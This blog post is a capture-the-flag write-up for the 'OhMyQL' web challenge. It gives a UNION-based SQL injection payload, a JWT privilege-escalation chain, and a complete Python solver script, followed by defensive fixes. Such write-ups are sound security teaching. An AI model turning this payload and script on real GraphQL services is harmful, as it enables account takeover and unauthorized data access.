m7eesn blog

OhMyQL – [Web] (Hard) - FlagYard

Challenge Overview

The service exposes a GraphQL endpoint on /graphql, backed by a SQLite database and JSON Web Tokens (JWT) for authentication. A protected /admin HTTP route returns the flag, but only if the caller supplies a JWT whose payload includes {"flagOwner": true}.


Reconnaissance & Source Review

Static analysis of the application’s two back-end modules, app/app/index.js and app/app/database.js, reveals the entire execution flow:

  1. Database access (app/app/database.js:21):

    const query = `SELECT * FROM users WHERE username = '${username}'`;
    

    The username argument from GraphQL requests is interpolated directly into the SQL statement without sanitization or parameter binding, establishing a classic string-based SQL injection primitive.

  2. GraphQL schema (app/app/index.js):

    • Query.getUser and Mutation.login both call db.getUser with attacker-controlled usernames.
    • Mutation.login mints a JWT using the same username string received from the client:
      const token = jwt.sign({ username }, JWT_SECRET, { expiresIn: '6m' });
      
    • Mutation.setFlagOwner requires an authenticated user and checks user.username === username. If the condition holds, it issues a second JWT embedding flagOwner: true.
    • The /admin route trusts any presented JWT that decodes with flagOwner === true and returns process.env.FLAG.
  3. Authentication bypass strategy:

    • Because the injected SQL is reused as the JWT subject, we can forge tokens for arbitrary GraphQL “usernames” that never existed in the original database.
    • By crafting a UNION-based payload that sets our own password inside the result-set, we satisfy the login mutation, receive a valid JWT, and subsequently satisfy the username equality check inside setFlagOwner.

Exploit Chain Walkthrough

The attack proceeds in three deterministic steps:

  1. SQL Injection via login

    • Send a GraphQL mutation with username containing a UNION clause:
      "' UNION SELECT 'attacker','pass123',1 -- "
    • When interpolated, the SQL becomes:
      SELECT * FROM users WHERE username = '' UNION SELECT 'attacker','pass123',1 -- '
    • SQLite returns the fabricated row (username="attacker", password="pass123", flagowner=1).
    • The password comparison succeeds because the attacker controls both the fabricated row and the password supplied to the mutation.
    • The backend signs a JWT whose payload contains the malicious username string.
  2. Privilege Escalation with setFlagOwner

    • Using the first JWT, call the setFlagOwner mutation.
    • The resolver re-verifies the JWT, sees the fabricated username, and (erroneously) believes the caller is acting on their own account.
    • A new JWT is returned, this time including {"username": "...payload...", "flagOwner": true}.
  3. Flag Extraction from /admin

    • Supply the second JWT as an Authorization: Bearer header to /admin.
    • Verification succeeds, the flagOwner check passes, and the server returns process.env.FLAG.

solver.py

#!/usr/bin/env python3
import json
import os
import sys
import requests

BASE_URL: str = os.environ.get(
    "BASE_URL", "http://your_url.playat.flagyard.com"
).rstrip("/")

GRAPHQL_URL: str = f"{BASE_URL}/graphql"
ADMIN_URL: str = f"{BASE_URL}/admin"

USERNAME_PAYLOAD = "' UNION SELECT 'attacker','pass123',1 -- "
PASSWORD = "pass123"


def run_graphql(query: str, token: str | None = None) -> dict:
    """Send a GraphQL query or mutation and return the decoded data block."""
    headers: dict[str, str] = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    print(f"[*] Sending GraphQL query:\n{query.strip()}")
    response = requests.post(
        GRAPHQL_URL, json={"query": query}, headers=headers, timeout=10
    )
    response.raise_for_status()

    payload = response.json()
    if "errors" in payload:
        raise Exception(f"GraphQL error: {json.dumps(payload['errors'], indent=2)}")

    return payload["data"]


def login_with_injection() -> str:
    query: str = f"""
    mutation {{
      login(username: "{USERNAME_PAYLOAD}", password: "{PASSWORD}") {{
        token
      }}
    }}
    """
    print("[*] Logging in with SQL injection payload...")
    data = run_graphql(query)
    token = data["login"]["token"]
    if not token:
        raise Exception("Login step did not return a token.")
    return token


def escalate_flag_owner(token: str) -> str:
    """Use the attacker token to call setFlagOwner and receive a flagOwner token."""
    query:str = f"""
    mutation {{
      setFlagOwner(username: "{USERNAME_PAYLOAD}")
    }}
    """
    print("[*] Escalating privileges to flag owner...")
    data = run_graphql(query, token=token)
    flag_token = data["setFlagOwner"]
    if not flag_token:
        raise Exception("Flag escalation step failed.")
    return flag_token


def read_flag(flag_token: str) -> str:
    """Call the admin endpoint with the flagOwner token and return the flag string."""
    headers: dict[str, str] = {"Authorization": f"Bearer {flag_token}"}
    print("[*] Reading flag from /admin endpoint...")
    response = requests.get(ADMIN_URL, headers=headers, timeout=10)
    if response.status_code != 200:
        raise Exception(
            f"/admin returned {response.status_code}: {response.text.strip()}"
        )
    return response.text.strip()


def exploit() -> dict[str, str]:
    """Execute the full exploit chain and return both JWTs."""
    access_token = login_with_injection()
    flag_token = escalate_flag_owner(access_token)
    return {
        "access": access_token,
        "flag": flag_token,
    }


def main() -> None:
    try:
        tokens = exploit()
        print()
        print("Access token:", tokens.get("access"))
        print("Flag token:", tokens.get("flag"))
        print()
        print("Flag:", read_flag(tokens.get("flag")))
    except (Exception, requests.RequestException) as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()

Defensive Takeaways

  1. Parameterize SQL queries: Replace string interpolation with prepared statements, e.g.
    db.get('SELECT * FROM users WHERE username = ?', [username]).
  2. Sanitize GraphQL input: Layer validation on resolver arguments to restrict characters where appropriate.
  3. Decouple authentication from raw input: Never embed untrusted strings directly into JWT payloads or privilege checks. Use canonical identifiers fetched from trusted storage.
  4. Least privilege claims: setFlagOwner should check server-side state (e.g., a database column), not trust the caller’s JWT subject.

By closing any single link in the chain above, the exploit path collapses and the flag remains protected. This challenge demonstrates how small oversights SQL injection in ORM-like helper functions and trust in JWT fields can combine into a critical compromise.


Conclusion

OhMyQL strings together well-known mistakes-string-concatenated SQL, insecure GraphQL resolvers, and overly trusting JWT validation into a textbook privilege escalation. Once the SQL injection is identified, every subsequent step becomes a matter of replaying that tainted input through the business logic. The solver script demonstrates how little effort is needed to weaponize the flaw, underscoring why defense-in-depth (parameterized queries, strong input validation, claim minimization) remains crucial even in “modern” stacks that sit on top of traditional databases. Fixing any one component would block the attack; fixing them all restores confidence that the admin flag stays secret.